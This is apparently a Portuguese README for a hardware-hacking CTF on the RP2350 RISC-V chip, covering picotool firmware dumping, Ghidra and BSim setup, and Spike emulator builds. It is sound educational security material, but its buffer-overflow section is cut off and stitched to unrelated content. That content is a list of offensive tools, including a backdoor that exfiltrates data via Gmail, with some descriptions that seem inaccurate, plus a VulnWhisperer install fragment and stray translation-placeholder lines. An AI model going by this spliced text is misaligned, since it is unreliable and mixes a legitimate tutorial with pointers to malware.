
Hardware Hacking CTF hcon2026hwctf - RISCV Hazard3 (@Wren6991) Exploiting by @b1n4ri0 @antoniovazquezblanco & @therealdreg
Se gostas de CTFs de hardware, aqui está o primeiro desafio público do HC0N CTF 2026, com desafios de exploração RISC-V RP2350 (baixo nível).
Tentámos tornar o desafio não muito elitista ou difícil, para que as centenas de participantes da conferência tenham hipótese de resolver os desafios. Espero ter conseguido atingir esse objetivo.
Se quiseres executar o CTF em casa, arranja uma Raspberry Pi Pico 2, carrega este firmware e não lês as write-ups! -> ctf.uf2
Nota para quem usar uma placa (RP2350/RP2354...) diferente da do CTF:
A PCB do CTF tem um LED SMD no GPIO 25, deves ter um LED nesse GPIO

Quando terminares este CTF, se gostaste, aqui está outro semelhante com desafios diferentes: https://github.com/therealdreg/ctfhardwarehackingcon2026
AVISO: As write-ups seguintes contêm spoilers dos desafios. Se quiseres resolvê-los sozinho, recomendamos não as ler até teres completado o CTF.
Primeiro Vencedor: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

Prémio: kit keylogger USB/PS2 Okhi + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Segundo Vencedor: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

Prémio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Terceiro Vencedor: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

Prémio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Aqui fornecemos alguma ajuda para facilitar o Hardware Hacking CTF no HCON 2026.

Um host Linux deve ser a tua primeira opção ;-), a depuração funciona melhor.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo

Outros:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# AVISO
Um dos desafios requer depuração de hardware. Se você estiver fazendo o desafio em casa (sem um colega de equipe que tenha outra placa), então para resolver esse desafio você também precisará comprar esses dois itens. (Se não comprá-los, sem problemas — mas você não conseguirá resolver esse desafio específico.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# Sobre os scripts
As ferramentas incluídas neste repositório foram desenvolvidas por @b1n4ri0 para a comunidade e especificamente para o 2026 HCON Hardware Hacking Challenge.
# Explorando o processador RP2350 RISCV Hazard3 (@Wren6991) 3 estágios RV32IMACZb* com depuração
RISCV Hazard3 é um processador de 3 estágios RV32IMACZb* com suporte a depuração. Ele é usado no microcontrolador RP2350 encontrado na placa HCON2026HWCTF.
# Extraindo firmware do RISCV Hazard3 usando picotool
Extrair firmware de dispositivos RP2350 com `picotool` é um processo direto. Nesta seção, você aprenderá como fazê-lo de forma eficaz.
Nota: `picotool` interage com dispositivos RP2350 (e RP2040) apenas quando estão no modo BOOTSEL ou se o firmware em execução inclui suporte USB stdio do Pico SDK.
## Compilando picotool
Instale as ferramentas de compilação e bibliotecas necessárias através do seu gerenciador de pacotes favorito.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Crie um diretório dedicado para manter suas ferramentas organizadas. Isso garante que os caminhos usados nas etapas posteriores estejam corretos.```bash cd $HOME mkdir rptools cd rptools
Clone os projetos `picotool` e `pico-sdk`, precisamos tanto da ferramenta em si quanto do SDK. Observe que `picotool` requer `pico-sdk` para compilar corretamente.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Crie o diretório de build e execute o CMake.
Importante: Devemos usar a flag -DPICO_SDK_PATH para informar ao CMake exatamente onde baixamos o SDK na etapa anterior, ou podemos definir a variável de ambiente PICO_SDK_PATH.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
Por padrão, acessar dispositivos USB requer privilégios de root. Copie o arquivo de regras udev para permitir executar `picotool` sem usar `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Recarregue as regras do udev (ou desconecte e reconecte seu dispositivo) e verifique a versão executando picotool version para garantir que tudo está funcionando:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Usando binário pré-construído
Se preferir pular o processo de compilação, você pode baixar o binário pré-compilado do [repositório oficial](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
Executar picotool version deve funcionar conforme o esperado:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## Ativar o modo BOOTSEL no RP2350
Para realizar operações como extrair firmware, o `picotool` exige que o dispositivo esteja no modo BOOTSEL. No entanto, o `picotool` também pode interagir com o dispositivo se o firmware atualmente em execução incluir suporte USB stdio do Pico SDK.
Abaixo, mencionarei várias maneiras de ativar este modo. Escolha a que parecer mais adequada para o seu caso ou simplesmente a que funcionar para você.
Se a sua placa **não estiver no modo BOOTSEL**, mas contiver o suporte USB stdio**,** você verá uma saída como esta ao tentar executar comandos do `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Este é o método de hardware padrão usado:
BOOTSEL ou BOOT botão.BOOTSEL.Alternativa (se você não quiser desconectar a placa):**
BOOTSEL.RESET ou RST.BOOTSEL.Agora você deve ser capaz de executar comandos picotool:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Software que habilita BOOTSEL
Se o firmware do dispositivo estiver em execução e tiver suporte a USB stdio, você pode forçá-lo ao modo BOOTSEL sem tocar na placa.```bash
./picotool reboot -uf
O comando usa a flag -u para especificar que queremos reiniciar especificamente no modo BOOTSEL. No entanto, como o dispositivo está atualmente executando código de usuário, picotool irá ignorá-lo por padrão. Portanto, devemos acrescentar a flag -f para forçar o aplicativo em execução a aceitar o comando de reset.
Sem -f, a operação falharia simplesmente porque a ferramenta espera que o dispositivo já esteja no modo BOOTSEL.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Dica:** Você pode executar comandos diretamente em um dispositivo em execução sem reiniciar manualmente primeiro, acrescentando a flag `-f` ao seu comando. O `picotool` cuidará da reinicialização, executará o comando e reiniciará de volta para a aplicação.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
Para este desafio CTF, podemos extrair o firmware diretamente sem entrar no modo BOOTSEL.
Recomendo coletar informações sobre o programa em execução. Você pode fazer isso usando o comando info, que exibe a seção “Informações do Programa” por padrão. Como o dispositivo está atualmente executando código, adicionamos a flag -f para forçar a conexão.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Esta saída revela detalhes essenciais, como o nome do programa, seu intervalo de memória e a arquitetura da imagem.
Agora, prosseguimos para extrair o programa, criar um diretório para armazenar os arquivos extraídos.```bash
mkdir -p $HOME/hcon2026hwctf/
Execute o seguinte comando para extrair o firmware:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Este comando único lida com todo o processo de extração. Ele força o RP2350 a reiniciar no modo BOOTSEL, lê o programa atualmente instalado da memória flash e o salva como um arquivo binário bruto. Para garantir que a extração estava correta, ele lê os dados de volta para verificar se o arquivo despejado corresponde exatamente ao conteúdo no chip.
Você deve obter uma saída como esta:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
E é isso, você despejou o programa com sucesso!
Nota: Tenha em mente que você extraiu apenas o programa instalado, não todo o conteúdo da memória flash.
Se encontrar erros, verifique se o dispositivo está corretamente conectado. Se a reinicialização automática falhar, entre manualmente no modo BOOTSEL e execute o comando novamente sem a flag -f. Para mais informações sobre as opções disponíveis, basta executar picotool help <command>.
Uma vez que o firmware RP2350 foi extraído, o próximo passo lógico é a engenharia reversa. Para esta tarefa, recomendamos utilizar o Ghidra. No entanto, certos ajustes são necessários para garantir uma análise precisa.
Ao carregar o binário e tentar desmontá-lo, é provável que você encontre funções incompletas ou código visualmente corrompido. Isso não significa que sua extração falhou. O problema está no fato de que o Ghidra (incluindo a versão 12.0.2) não consegue interpretar nativamente certas instruções específicas deste SoC.
A razão técnica é que o Ghidra implementa as extensões RISC-V C (Comprimida) e B (Manipulação de bits) com base em uma especificação preliminar (v0.92). Em contraste, a CPU Hazard3 usada no RP2350 implementa a versão ratificada v1.0.0. Consequentemente, muitas instruções modernas são desconhecidas para o Ghidra ou sofreram alterações desde as definições anteriores.
Para informações detalhadas sobre as instruções suportadas pelo Hazard3, consulte a documentação oficial: wren.wtf/hazard3/doc/
Para resolver este conflito e obter uma desmontagem correta, você deve atualizar as definições de processador do Ghidra para a especificação ratificada v1.0.0.
Primeiro, localize o caminho de instalação do Ghidra (por exemplo, ~/ghidra_12.0_PUBLIC). Navegue até o diretório do processador RISC-V e renomeie a pasta data existente como backup:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
Em seguida, clone o repositório contendo as definições de instruções atualizadas e mova a nova pasta `data` para sua instalação do Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
Com as definições de processador corrigidas em vigor, siga estas etapas para carregar o binário corretamente:
PyGhidra.Non-Shared Project (por exemplo, hwctf2026).Active Project.Language.RISCV e selecione: RISCV:LE:32:default:gcc (RISCV padrão 32 little gcc).Ok.CodeBrowser.No.Uma vez que o binário é carregado com as definições de processador corretas, o Ghidra será capaz de desmontar os opcodes com precisão. No entanto, é importante notar que normalmente estamos lidando com arquivos .bin brutos. Esses arquivos não contêm tabelas de símbolos ou metadados que facilitam a análise.
A quantidade de informação recuperável depende inteiramente da origem do binário. Neste caso, nosso alvo é um firmware RP2350 compilado usando pico-sdk v2.2.0. Isso oferece uma vantagem significativa, pois usa o SDK oficial; o binário pode ser compatível com picotool. Esta ferramenta nos permite identificar e extrair metadados, desde que o binário ainda contenha os cabeçalhos necessários para o picotool analisar.
Por padrão, o Ghidra não consegue interpretar o layout da memória sem intervenção manual. Tentar analisar o firmware sem um mapa de memória adequado produzirá resultados ruins e numerosos erros. Isso se deve à arquitetura do Ghidra, que requer contexto explícito para resolver referências.
Neste cenário específico, o programa é compilado para executar a partir da SRAM. Isso significa que o firmware contém referências ativas a duas regiões de memória distintas com diferentes endereços base. Sem uma configuração correta, o Ghidra tem dificuldade em seguir o fluxo da desmontagem através dessas regiões, complicando significativamente o processo de engenharia reversa.
Para simplificar a configuração e garantir consistência, desenvolvi um script que automatiza o mapeamento de memória e a configuração do ambiente. Embora essa automação simplifique as etapas iniciais, é altamente recomendável revisar o código-fonte do script ou o README do repositório para entender a lógica subjacente do fluxo de trabalho de análise. Para um entendimento técnico mais profundo do layout de memória e mapeamento de periféricos, você também deve consultar a folha de dados oficial do RP2350.
Tanto a Ferramenta de Configuração Ghidra RP2350 quanto o Carregador SVD para PyGhidra foram incluídos diretamente neste repositório. As seções seguintes fornecem instruções detalhadas sobre como instalar e usar essas ferramentas de forma eficaz.
O script hcon26_rp2350-ctf_auto_setup.py foi projetado para automatizar a configuração inicial e o ambiente de análise estática para firmware visando o Raspberry Pi RP2350 (núcleo RISC-V Hazard3). Esta ferramenta é desenvolvida especificamente para apoiar as tarefas de engenharia reversa associadas ao Desafio de Hacking de Hardware H-Con 2026.
Firmware binário bruto inerentemente carece dos cabeçalhos de arquivo e tabelas de símbolos necessários para o carregamento automático. Isso força os analistas a configurar manualmente mapas de memória, pontos de entrada e estados do processador antes que qualquer código se torne legível. Esta ferramenta automatiza todo esse processo, preparando instantaneamente o binário para engenharia reversa.
Este script elimina a sobrecarga de configuração manual normalmente necessária para análise de firmware embarcado. Ao automatizar o processo de carregamento, garante um projeto Ghidra consistente e funcional, permitindo que os participantes se concentrem imediatamente na pesquisa de vulnerabilidades e análise lógica, em vez de configuração de ambiente.
Configuração Automatizada do Ambiente: Estabelece instantaneamente o layout de memória correto para o RP2350, definindo as regiões Flash (XIP) e SRAM com as permissões apropriadas exigidas pelo descompilador.
Detecção do Ponto de Entrada: Escaneia cabeçalhos específicos do RP2350 para identificar o endereço real de início de execução, lidando com vetores de boot não padrão frequentemente encontrados em binários compilados "On-RAM".
Resolução de Contexto: Inicializa automaticamente o registrador Global Pointer gp. Isso garante que as referências a variáveis globais e dados estáticos sejam resolvidas corretamente no descompilador, em vez de aparecerem como offsets quebrados.
Reconstrução da Seção de Dados: Identifica e realoca seções inicializadas da Flash para a RAM, replicando o processo de boot. Isso garante que literais de string e variáveis globais apareçam em suas localizações de memória corretas durante a análise.
Recuperação de Símbolos: Identifica heuristicamente a lógica principal da aplicação e a sequência de inicialização em tempo de execução, permitindo que o analista pule diretamente para o código do usuário sem rastrear manualmente todo o bootloader.
con26_rp2350-ctf_auto_setup.py diretamente.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copie o arquivo de script para o diretório `ghidra_scripts` da sua instalação do Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Importe o arquivo .bin alvo no Ghidra (RV32).
Abra o arquivo no Code Browser.
Quando for solicitado a analisar o arquivo, selecione Não.
Abra o Gerenciador de Scripts Window > Script Manager.
Procure por hcon26_rp2350-ctf_auto_setup.py localizado na categoria RP2350.
Execute o script e aguarde a saída do console confirmar a conclusão. Leia as informações Next Steps exibidas no console.
Após o script de configuração terminar, execute o RP2350 SVD Loader para mapear registros de hardware e periféricos.
Os arquivos System View Description (SVD) são documentos baseados em XML que contêm uma descrição detalhada dos registros periféricos de um microcontrolador. Eles definem endereços de memória, offsets de registros, campos de bits e valores de reset. Em engenharia reversa, esses arquivos são essenciais para mapear o espaço de memória bruto de um binário para nomes de periféricos legíveis por humanos, transformando acessos anônimos à memória em interações de hardware identificadas.
Este script é um carregador SVD para o RP2350 (Pico 2) adaptado para PyGhidra. Ele automatiza a criação de segmentos de memória e definições de registros com base nas especificações oficiais do SVD.
Esta versão foi desenvolvida com base no trabalho anterior encontrado nos seguintes repositórios:
Você também pode usar https://github.com/antoniovazquezblanco/GhidraSVD desenvolvido por @antoniovazquezblanco
SVD-Loader-RP2350.py diretamente.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copie o arquivo de script para o diretório `ghidra_scripts` da sua instalação do Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin alvo para o Ghidra.CodeBrowser.Não.Window > Script Manager.SVD-Loader-RP2350.py dentro da categoria RP2350.A.
Os scripts fornecidos requerem um ambiente PyGhidra funcional.
- **Instalar dependências**```bash
pip install pyghidra cmsis-svd
## Troubleshooting: import cmsis-svd
Se o `SVD-Loader-RP2350.py` não conseguir encontrar a biblioteca `cmsis-svd`, você pode instalá-la diretamente no interpretador PyGhidra:
1. No **CodeBrowser**, vá para `Window > PyGhidra`.
2. Execute o seguinte trecho:
pip install cmsis-svd
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
```
# Detecção de Funções do pico-sdk no Ghidra
Após configurar o Ghidra e desmontar o binário, o próximo objetivo é distinguir as funções específicas do desafio daquelas pertencentes ao SDK.
Normalmente, a ferramenta padrão para esta tarefa é a **Ghidra FID (Function ID)**. O fluxo de trabalho envolve compilar exemplos do SDK com a mesma configuração do binário alvo para gerar um banco de dados FIDB, permitindo que o Ghidra identifique e nomeie funções automaticamente. No entanto, o FID apresenta uma taxa de reconhecimento significativamente baixa neste caso.
Para superar essa limitação, usaremos o **BSim**. Embora existam outras alternativas como **Version Tracking** ou **Ghidriff**, elas são projetadas principalmente para comparar alterações entre versões (patch diffing) e não são tão eficazes para este propósito específico.
## Preparando Binários de Referência a partir do pico-examples
Para que o Ghidra identifique funções por comparação, primeiro devemos gerar um banco de dados de referência compilando os exemplos do pico-sdk. Se quiser otimizar seu tempo, você pode se concentrar nos quatro binários essenciais mencionados no final desta seção.
Clone o repositório oficial de exemplos:```bash
git clone https://github.com/raspberrypi/pico-examples.git
cd pico-examples
mkdir build
cd build
```
### Extensão Raspberry Pi Pico
Para usar estes caminhos, a extensão do Raspberry Pi Pico para VS Code deve estar instalada. Estas estruturas de diretório são nativas do ambiente da extensão.
Uma vez instalada a extensão, configure o seu projeto selecionando **Board Type: Pico 2** e **Architecture (pico2): RISC-V**. Simplesmente criar o projeto com estas configurações aciona a instalação de todos os recursos necessários. Nenhuma compilação adicional é necessária para este caso.
Usaremos uma configuração específica para o RP2350 Hazard3, garantindo que os símbolos e a formatação correspondam ao binário do desafio.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
```
(empty)```bash
cmake -DPICO_PLATFORM=rp2350-riscv \
-DPICO_BOARD=pico2 \
-DPICO_COMPILER=pico_riscv_gcc \
-DCMAKE_BUILD_TYPE=Debug \
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram \
-DPICO_STDIO_USB=1 \
-DPICO_STDIO_UART=0 \
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto" \
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage" \
..
```
ENTRADA:```bash
make -j$(nproc) -k
```
Após a compilação estar concluída, agrupe todos os arquivos `.elf` em um diretório dedicado para facilitar a análise:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ \;
```
### Análise Automatizada com Ghidra Headless
Para processar o grande volume de arquivos gerados, usar o modo headless do Ghidra é o mais eficiente. Certifique-se de executar a análise apontando para o projeto onde você já configurou o binário do desafio:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
```
Se preferir reduzir o tempo de análise, processe pelo menos estes quatro arquivos, que contêm a maioria das funções do SDK presentes no desafio:
- `tinyusb_dev_cdc_msc.elf`
- `multicore_runner_queue.elf`
- `hello_gpio_irq.elf`
- `hello_timer.elf`
## Análise com BSim
Quando a identificação tradicional de assinaturas (FID) é insuficiente, o BSim é a alternativa mais poderosa. Ao contrário de outros métodos, o BSim baseia-se no comportamento e na estrutura do código, permitindo comparações entre arquiteturas e ignorando variações causadas por níveis de otimização.
### Configuração do Banco de Dados BSim
Embora a GUI possa ser usada, realizar a configuração via terminal é mais eficiente para processar múltiplos binários.```bash
cd $GHIDRA_INSTALL_DIR/support
```
Crie o arquivo de banco de dados H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
```
Extraia assinaturas dos binários já analisados no projeto Ghidra:```bash
mkdir ~/bsim_sigs
./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
```
Finalize o processo registrando as assinaturas geradas no nosso banco de dados:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
```
### Integração na Interface Gráfica do Ghidra
Depois que a base de dados for criada, vincule-a ao Code Browser:
1. Vá para a aba `BSim > Manage Servers`.
2. Clique no `ícone verde "+"` e selecione o tipo `File`.
3. Navegue e selecione a base de dados que acabou de criar.
4. Clique em `Dismiss` para fechar a janela.
### Identificação de Funções
Existem várias maneiras de pesquisar correspondências com o BSim, a seguinte é a mais recomendada:
- No painel do descompilador, clique com o botão direito no **nome da função**, `BSim > Search functions`.
- Se não obtiver resultados, selecione a opção inferior no menu do BSim para abrir a caixa de diálogo de configurações. Aqui, você pode reduzir o `Similarity Threshold` para encontrar funções que sofreram pequenas variações durante a compilação.
**Dica**: Se você tem certeza de que uma função está correta, mas suas funções internas ("filhas") permanecem sem nome, use a janela de resultados do BSim:
- Selecione a função pai e pressione `Shift + C` para abrir a comparação.
- Clique com o botão direito e selecione `Compare matching callees`.
- Renomeie-a com a assinatura correta.
## Análise com Version Tracking
Se a opção BSim não atender às suas necessidades, você pode usar o **Version Tracking**.
### Criando a Sessão
Na janela principal do Ghidra, localize o `ícone de pegadas azuis` no extremo direito do `Tool Chest` para abrir a ferramenta Version Tracking.
1. Clique no `ícone de pegadas azuis` no menu superior esquerdo para criar uma nova sessão.
2. Atribua um nome descritivo (ex.: `tinyusb_dev_cdc_msc`).
3. Selecione o arquivo ELF do SDK como origem.
4. Selecione o binário do desafio como destino.
5. Prossiga com as verificações de pré-condição. Você pode ignorar avisos menores, desde que não ocorram erros críticos. Clique em `Finish`.
### Executando Correlacionadores
Três janelas serão abertas: Source Tool, Destination Tool e o console do Version Tracking.
Na janela do Version Tracking:
1. Clique no `ícone verde "+"` (Adicionar correlações adicionais).
2. Selecione todos os correlacionadores disponíveis. Embora alguns possam parecer redundantes, permitir que o Ghidra execute todos maximiza as chances de sucesso.
3. Mantenha os valores de configuração padrão; você pode ajustá-los em sessões posteriores se precisar de maior precisão.
4. Clique em `Finish` e aguarde a conclusão do processo. Geralmente, algoritmos baseados em BSim oferecerão os resultados mais robustos.
### Estratégias de Validação
Uma vez obtidos os resultados do Version Tracking, existem duas metodologias principais para aplicar alterações no binário do desafio:
1. Análise manual de cada correspondência para garantir alta precisão.
2. Aceitação automatizada de funções que excedem um nível de confiança específico, realizando revisão manual apenas em resultados duvidosos.
Para implementar a segunda estratégia, é essencial filtrar os resultados para focar nas correspondências mais fortes:
- Na barra de pesquisa `Filter`, digite "Function" para exibir apenas correlações de funções.
- **Recomendação Técnica:** Sugere-se aceitar em lote funções com pontuação de confiança acima de **0.8**, sempre verificando o algoritmo usado para correlação.
### Aplicando Correspondências
Para confirmar e transferir os nomes para o binário de destino, use o `ícone de visto verde` (localizado entre os ícones de bandeira e disco).
### Dicas de Análise
- É comum encontrar funções conflitantes. Nesses casos, ignore a atribuição automática e valide manualmente se as definições são consistentes com o contexto do desafio.
- Tente resolver tudo em uma **única sessão**. Se não for possível, crie sessões independentes para diferentes ELFs do SDK e aplique as alterações incrementalmente.
- Se você identificar uma função com total certeza, mas os correlacionadores não conseguirem detectar funções adjacentes, verifique a localização delas no arquivo ELF original. Devido à estrutura de compilação, é muito provável que a função que você procura esteja localizada em um endereço relativo semelhante no binário do desafio.
Dependendo do seu estilo de análise, você pode optar por duas abordagens:
1. Comece diretamente com a engenharia reversa de `main`. À medida que encontrar funções desconhecidas, use o **BSim** para identificá-las.
2. Aplique **FIDB** primeiro para estabelecer funções básicas, depois execute o **Version Tracker** com o correlacionador BSim para nomear todo o SDK de uma vez.
- [Tutorial FID](https://www.tarlogic.com/blog/esp32-firmware-using-ghidra-fidb/)
Escolha o método que funciona melhor para você.
Mais informações sobre o BSim:
- [Tutorial BSim](https://ghidra.re/ghidra_docs/GhidraClass/BSim/README.html)
# Aprenda como explorar um Buffer Overflow Clássico no RISCV Hazard3 usando o emulador Spike
## Compilar o Spike```
sudo apt-get update
sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
```
No input foi fornecido para tradução.```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
```
Aguardando conteúdo Markdown para tradução.```
cd /home/dreg/RISCV
git clone https://github.com/riscv/riscv-pk
git clone https://github.com/riscv/riscv-isa-sim
git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
```
---
### [PPmap](https://github.com/klezVirus/PPmap)
**PPmap** é um poderoso protetor de payload, usado para gerar payloads protegidos usando ferramentas como PEmbed ou WinRAR.
### [Powershell-RAT](https://github.com/ViralManDev/Powershell-RAT)
Backdoor baseado em Python que usa Gmail para exfiltrar dados através de um projeto facilmente. Pode ser usado no Windows, Linux e Mac para controlar alvos.
### [pr0cks](https://github.com/nickvour/pr0cks)
pr0cks é um script Python que ajuda a configurar um proxy transparente na AWS usando Squid e iptables.
### [pwnedOrNot](https://github.com/thewhiteh4t/pwnedOrNot)
pwnedOrNot é um script Python que verifica se a conta foi comprometida em uma violação de dados e também encontra a senha para a conta comprometida.
### [Quick-enum](https://github.com/H4CK3RT3CH/Quick-enum)
Quick-enum é um script shell simples que ajuda a enumerar máquinas Linux/Unix. Também pode ser usado para enumeração inteligente de máquinas Windows usando SMB e Metasploit.
### [R3con1z3r](https://github.com/thewhiteh4t/R3con1z3r)
R3con1z3r é uma ferramenta leve de coleta de informações na web com um ambiente intuitivo de recursos. Permite coletar informações sobre o alvo de duas maneiras diferentes.
### [RapidPayload](https://github.com/bdblackhat/RapidPayload)
RapidPayload é um Gerador de Payload Metasploit gratuito.
### [Rawr](https://github.com/GamehunterKaan/Rawr)
Rawr é uma ferramenta para Recon em Massa que automatiza de maneira fácil as tarefas entediantes. Ela usa: amass, subfinder, assetfinder, httpx, gowitness, subzy, nuclei, naabu e outras ferramentas.
### [RC4-Crypt](https://github.com/Exploit-install/RC4-Crypt)
RC4-Crypt é uma implementação em Python do algoritmo de criptografia RC4.
### [Recon-Enum](https://github.com/JoshuaMart/Recon-Enum)
Recon-Enum é um script que executa um conjunto de ferramentas básicas para recon e enumeração.
### [Recon-Dog](https://github.com/s0md3v/Recon-Dog)
ReconDog é uma ferramenta de coleta de informações multiuso. Funciona tanto no Linux quanto no Windows.
### [Red-Hawk](https://github.com/Tuhinshubhra/RED_HAWK)
RED HAWK é uma ferramenta completa para coleta de informações, varredura de vulnerabilidades SQLi e rastreamento.
### [Reformer](https://github.com/Tuhinshubhra/Reformer)
Reformer é um navegador simples baseado em Firefox para testes de penetração. Ele lida com muitas tarefas manuais automaticamente.
### [Re-Georg](https://github.com/blackkite/Re-Georg)
Re-Georg é um fork do reGeorg com alguns novos recursos.
### [reNgine](https://github.com/yogeshojha/rengine)
reNgine é um framework automatizado de reconhecimento para aplicações web com foco em um processo de reconhecimento altamente configurável e simplificado.
### [Routersploit](https://github.com/threat9/routersploit)
O RouterSploit Framework é um framework de exploração de código aberto dedicado a dispositivos embarcados.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
```
### Ferramentas de Coleta de Vulnerabilidades
* **Nexpose** - Importa varreduras do Nexpose
* **OpenVAS/PwnDefend** - Importa varreduras do OpenVAS
* **Nessus** - Importa varreduras do Nessus
### Slack Alerts Demo

### Opções de Instalação
#### Docker Compose
#### Instalação Padrão (Ubuntu/Debian)
Atualmente, VulnWhisperer tem algumas dependências do sistema que precisam ser instaladas.
```bash
$ apt-get update
$ apt-get install python3-pip git python-dev libssl-dev libldap2-dev libsasl2-dev ldap-utils -y
```
Uma vez que você tenha as dependências, simplesmente faça o seguinte para configurar:
```bash
$ cd /opt
$ git clone https://github.com/8eu3/VulnWhisperer
$ cd VulnWhisperer
$ pip3 install -r requirements.txt
$ cp vuln_whisperer.cfg.sample vuln_whisperer.cfg
$ cp logging.cfg.sample logging.cfg
$ mkdir {b64_files,slack_exported_files,message_zips}
```
Agora, configure seu `vuln_whisperer.cfg`.
#### Testar/Executar
```bash
$ python vuln_whisperer.py
```
Se você não quiser usar o script de instalação, pode configurar manualmente executando os seguintes passos:
```bash
# Edite o vuln_whisperer.cfg com suas configurações
$ pip3 install -r requirements.txt
$ python vuln_whisperer.py
```
### Opções de Configuração do VulnWhisperer
O VulnWhisperer é configurado por meio de um arquivo de configuração `vuln_whisperer.cfg`. Abaixo estão as várias seções de configuração que você pode usar.
#### Seção de Configuração Geral
```ini
[general]
# Defina isso como um diretório onde o VulnWhisperer armazenará arquivos de configuração e dados brutos de varredura
vuln_storage_dir = /opt/VulnWhisperer
# Defina como verdadeiro para habilitar o modo verbose
verbose = false
# Defina como verdadeiro para ver logs de depuração
debug = true
```
#### Seção de Configuração Slack
```ini
[slack]
# Token de Bot do Slack para o seu workspace
slack_token = xoxb-11111111111-111111111111-xxxxxxxxxxxx
